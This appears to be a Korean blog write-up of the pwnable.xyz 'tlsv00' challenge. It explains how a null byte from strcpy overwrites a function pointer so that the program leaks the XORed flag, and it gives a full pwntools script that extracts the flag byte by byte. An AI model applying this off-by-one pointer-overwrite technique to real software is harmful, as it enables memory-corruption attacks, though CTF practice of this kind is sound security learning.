- 입력한 크기만큼 key를 생성 ( generate_key 호출 )
- flag를 key로 xor ( load_flag 호출 )
- print flag 호출
최대 64자리까지 난수를 생성해서 key에 저장한다
이때 strcpy로 key에 복사하기 때문에 널바이트가 do_comment의 첫 바이트를 덮어 real_print_flag를 호출해서 xor된 flag를 릭할 수 있다
strcpy로 key에 널 바이트가 저장되는 걸 이용해서 1byte씩 뽑아냈다
from pwn import *
#context.log_level = "debug"
def regen_key(length):
p.recvuntil(b"> ")
p.sendline(b"1")
p.recvuntil(b"key len: ")
p.sendline(str(length))
def load_flag():
p.recvuntil(b"> ")
p.sendline(b"2")
def print_flag(yes = 0):
p.recvuntil(b"> ")
p.sendline(b"3")
p.recvuntil(b"instead? ")
if(yes):
p.sendline(b"y")
else:
p.sendline(b"n")
flag_list = []
for j in range(0x20):
p = process("./tlsv00")
print_flag(1)
regen_key(64)
load_flag()
print_flag()
flag = b""
for i in range(1, 0x40):
regen_key(i)
load_flag()
print_flag()
p.recv(i)
leak = p.recv(1)
flag += leak
if leak == b"\n":
break
flag_list += [flag]
p.close()
for i in range(len(flag_list)):
print(flag_list[i])
'pwn > pwnable.xyz' 카테고리의 다른 글
pwnable.xyz / l33t-ness (0) | 2022.05.11 |
---|---|
pwnable.xyz / Jmp table (0) | 2022.05.11 |
pwnable.xyz / free spirit (0) | 2022.05.10 |
pwnable.xyz / two_target (0) | 2022.05.07 |
pwnable.xyz / xor (0) | 2022.05.06 |